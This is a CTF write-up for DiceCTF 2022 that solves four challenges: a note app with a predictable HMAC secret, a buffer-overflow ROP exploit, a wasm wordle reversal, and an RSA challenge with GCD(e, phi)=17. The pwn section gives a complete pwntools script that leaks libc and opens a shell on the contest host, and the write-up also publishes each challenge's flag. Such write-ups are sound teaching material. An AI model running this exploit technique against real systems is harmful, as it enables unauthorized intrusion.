--- tags: Writeup --- # DiceCTF 2022 ## Web ### knock-knock We were given source code like below. ```javascript= const crypto = require('crypto'); class Database { constructor() { this.notes = []; this.secret = `secret-${crypto.randomUUID}`; } createNote({ data }) { const id = this.notes.length; this.notes.push(data); return { id, token: this.generateToken(id), }; } getNote({ id, token }) { if (token !== this.generateToken(id)) return { error: 'invalid token' }; if (id >= this.notes.length) return { error: 'note not found' }; return { data: this.notes[id] }; } generateToken(id) { return crypto .createHmac('sha256', this.secret) .update(id.toString()) .digest('hex'); } } const db = new Database(); db.createNote({ data: process.env.FLAG }); const express = require('express'); const app = express(); app.use(express.urlencoded({ extended: false })); app.use(express.static('public')); app.post('/create', (req, res) => { const data = req.body.data ?? 'no data provided.'; const { id, token } = db.createNote({ data: data.toString() }); res.redirect(`/note?id=${id}&token=${token}`); }); app.get('/note', (req, res) => { const { id, token } = req.query; const note = db.getNote({ id: parseInt(id ?? '-1'), token: (token ?? '').toString(), }); if (note.error) { res.send(note.error); } else { res.send(note.data); } }); app.listen(3000, () => { console.log('listening on port 3000'); }); ``` The bug is on the secret generation, where they forgot to put `()`, hence the secret is always the same (because `crypto.randomUUID` value will be constant, consist of the function implementation). We only need to run the docker, and we will be able to get the correct token for the note id 0/ ![](https://i.imgur.com/XQQLrZC.png) > Flag: dice{1_d00r_y0u_d00r_w3_a11_d00r_f0r_1_d00r} ## Pwn ### interview-opportunity We were given a binary file and libc file. Using Ghidra, we can see the decompiled code. ```c= undefined8 main(undefined4 param_1,undefined8 param_2) { char local_22 [10]; undefined8 local_18; undefined4 local_c; local_18 = param_2; local_c = param_1; env_setup(); printf( "Thank you for you interest in applying to DiceGang. We need great pwners like you to contin ue our traditions and competition against perfect blue.\n" ); printf("So tell us. Why should you join DiceGang?\n"); read(0,local_22,0x46); puts("Hello: "); puts(local_22); return 0; } ``` There is buffer overflow bug. We just need to leak the base address, and then ROP the binary to execve address (that we found from the help of one_gadget). ![](https://i.imgur.com/7obzXOo.png) Below is the full solution ```python= from pwn import * context.arch = 'amd64' context.encoding = 'latin' context.log_level = 'INFO' warnings.simplefilter("ignore") main = 0x401240 puts_plt = 0x401030 puts_got = 0x404018 execve = 0xcbd20 # rsi null, rdi null pop_rdi = p64(0x0000000000401313) # pop rdi; ret; pop_rsi_r15 = p64(0x0000000000401311) # pop rsi; pop r15; ret; payload = b'a'*(0x1a+8) payload += pop_rdi + p64(puts_got) payload += p64(puts_plt) payload += p64(main) r = remote('mc.ax', 31081) log.info(r.readrepeat(1)) r.sendline(payload) log.info(r.recvuntil(b'\n')) log.info(r.recvuntil(b'\n')) puts_addr = u64(r.recvline().strip().ljust(8, b'\x00')) base_addr = puts_addr - 0x00000000000765f0 # readelf -s libc.so.6| grep "puts" print(f'Puts addr: {hex(puts_addr)}') print(f'Base addr: {hex(base_addr)}') log.info(r.readrepeat(1)) payload = b'a'*(0x1a+8) payload += pop_rsi_r15 + p64(0) + p64(0) payload += p64(base_addr + execve) r.sendline(payload) r.interactive() ``` ![](https://i.imgur.com/uWhMBJd.png) > Flag: dice{0ur_f16h7_70_b347_p3rf3c7_blu3_5h4ll_c0n71nu3} ## Rev ### flagle ![](https://i.imgur.com/JPl4t8a.png) We were given a wasm file which is a similar app to wordle. We need to find what is the correct words (the total words are 6). We can compile the wasm file into binary, and open it with Ghidra. After reading the decompiled, there are 5 functions on the wasm, validate_1, validate_2, validate_3, validate_5, validate_6. Each function will be used to validate each word. Below is the source code ```c= undefined4 export::validate_1(undefined4 param1) { undefined4 uVar1; uVar1 = streq(param1,0x400); return uVar1; } 0x400: ram:00000400 64 ?? 64h d ram:00000401 69 ?? 69h i ram:00000402 63 ?? 63h c ? -> ram:007b6563 ram:00000403 65 ?? 65h e ? -> ram:00007b65 ram:00000404 7b ?? 7Bh { ? -> ram:0000007b ``` From the above code, we know that the first word is **dice{** ```c= uint export::validate_2(undefined4 param1,undefined4 param2,undefined4 param3,undefined4 param4, int param5) { uint uVar1; uVar1 = 0; if ((((char)param3 == '3') && ((char)param4 == 'l')) && ((char)param2 == '!')) { uVar1 = (uint)(param5 == L'D' && (char)param1 == 'F'); } return uVar1; } ``` From the above code, we know that the second word is **F!3lD** ```c= uint export::validate_3(int param1,int param2,int param3,int param4,int param5) { uint uVar1; uVar1 = 0; if ((((param2 * param1 == 0x12c0) && (param3 + param1 == 0xb2)) && (param3 + param2 == 0x7e)) && ((param4 * param3 == 0x23a6 && (param4 - param5 == 0x3e)))) { uVar1 = (uint)(param3 * 0x12c0 - param5 * param4 == 0x59d5d); } return uVar1; } ``` From the above code, we can easily brute-force to find the correct word. Result is **d0Nu7** ![](https://i.imgur.com/jTSVgPK.png) From the above image, we can see the implementation of validate_4. Below is the javascript method that is used to validate the fourth word. ```javascript= function c(b) { var e = { 'HLPDd': function(g, h) { return g === h; }, 'tIDVT': function(g, h) { return g(h); }, 'QIMdf': function(g, h) { return g - h; }, 'FIzyt': 'int', 'oRXGA': function(g, h) { return g << h; }, 'AMINk': function(g, h) { return g & h; } } , f = current_guess; try { let g = e['HLPDd'](btoa(e['tIDVT'](intArrayToString, window[b](b[e['QIMdf'](f, 0x26f4 + 0x1014 + -0x3707 * 0x1)], e['FIzyt'])()['toString'](e['oRXGA'](e['AMINk'](f, -0x1a3 * -0x15 + 0x82e * -0x1 + -0x1a2d), 0x124d + -0x1aca + 0x87f))['match'](/.{2}/g)['map'](h=>parseInt(h, f * f)))), 'ZGljZQ==') ? -0x1 * 0x1d45 + 0x2110 + -0x3ca : -0x9 * 0x295 + -0x15 * -0x3 + 0x36 * 0x6d; } catch { return 0x1b3c + -0xc9 * 0x2f + -0x19 * -0x63; } } ``` The simplified version psuedocode is below ```javascript= our_input = b; f = current_guess; intArrayToString(window[our_input](our_input[f-1], 'int')().toString((f & 4) << 2)).match(/.{2}/g).map(h=>parseInt(h, f*f)) === "dice{" ``` Deduction from the function: - f value should be 4, so that toString() radix argument and parseInt radix argument both will be 16, which is hexadecimal representation. From our deduction, we can conclude that basically, what it do is: - our_input will be a string which is one of the fields of **window** object, where the field length is 5 char - The result of the call will be converted toString(16), which is hex, split it per two, and then convert the hex to integer. - The result should be **dice{** To get the fourth word, what I do is try it one by one all fields in the **Window** object which has length 5 char. After some bruteforcing, I found that the correct field is **cwrap**, which will be our fourth word. ```c= uint export::validate_5(undefined4 param1,undefined4 param2,undefined4 param3,undefined4 param4, int param5) { uint uVar1; uVar1 = 0; if ((((char)param1 == 'm') && ((char)param2 == '@')) && ((char)param3 == 'x')) { uVar1 = (uint)(param5 == 0x4d && (char)param4 == '!'); } return uVar1; } ``` We can see that the fifth word is **m@x!M** ```c= uint export::validate_6(int param1,int param2,int param3,int param4,int param5) { uint uVar1; uVar1 = 0; if ((param2 + 0xb75) * (param1 + 0x6e3) == 0x53acdf) { uVar1 = (uint)(param5 == 0x7d && (param4 + 0x60a) * (param3 + 0xf49) == 0x62218f); } return uVar1; } ``` With some bruteforcing, we can found that the sixth word is **T$r3}**. Finally, we recover all the words, and just concatenate all of it as once, and submit it as the flag. > Flag: dice{F!3lDd0Nu7cwrapm@x!MT$r3} ## Crypto ### baby-rsa We were given this file ```python= from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes def getAnnoyingPrime(nbits, e): while True: p = getPrime(nbits) if (p-1) % e**2 == 0: return p nbits = 128 e = 17 p = getAnnoyingPrime(nbits, e) q = getAnnoyingPrime(nbits, e) flag = b"dice{???????????????????????}" N = p * q cipher = pow(bytes_to_long(flag), e, N) print(f"N = {N}") print(f"e = {e}") print(f"cipher = {cipher}") ''' N = 57996511214023134147551927572747727074259762800050285360155793732008227782157 e = 17 cipher = 19441066986971115501070184268860318480501957407683654861466353590162062492971 ''' ``` Reading the code, $N$ is small enough, so that we can easily factor it (with factordb). After we retrieve $p$ and $q$, we found out that $GCD(e, phi) = 17$, which mean there exists multiple solution to the RSA equation. However, $GCD(e, phi)$ is small enough, where we can easily find the $nth\_root$ of the $cipher$. After retrieving the possible solutions, we just need to check which one contains **dice{** on it. Below is the solution. ```python= from pwn import * from Crypto.Util.number import * n = 57996511214023134147551927572747727074259762800050285360155793732008227782157 e = 17 c = 19441066986971115501070184268860318480501957407683654861466353590162062492971 # n is small, so it is easy to factor it p = 172036442175296373253148927105725488217 q = 337117592532677714973555912658569668821 phi = (p-1)*(q-1) # After analysis, GCD(e, phi) is 17. The solution is small enough to be factored with nth_root, # where one of the root will be our flag for m in Mod(c, n).nth_root(gcd(e, phi), all=True): flag = long_to_bytes(m) if b'dice' in flag: print(b'Flag: {flag.decode()}') exit() ``` > Flag: dice{cado-and-sage-say-hello}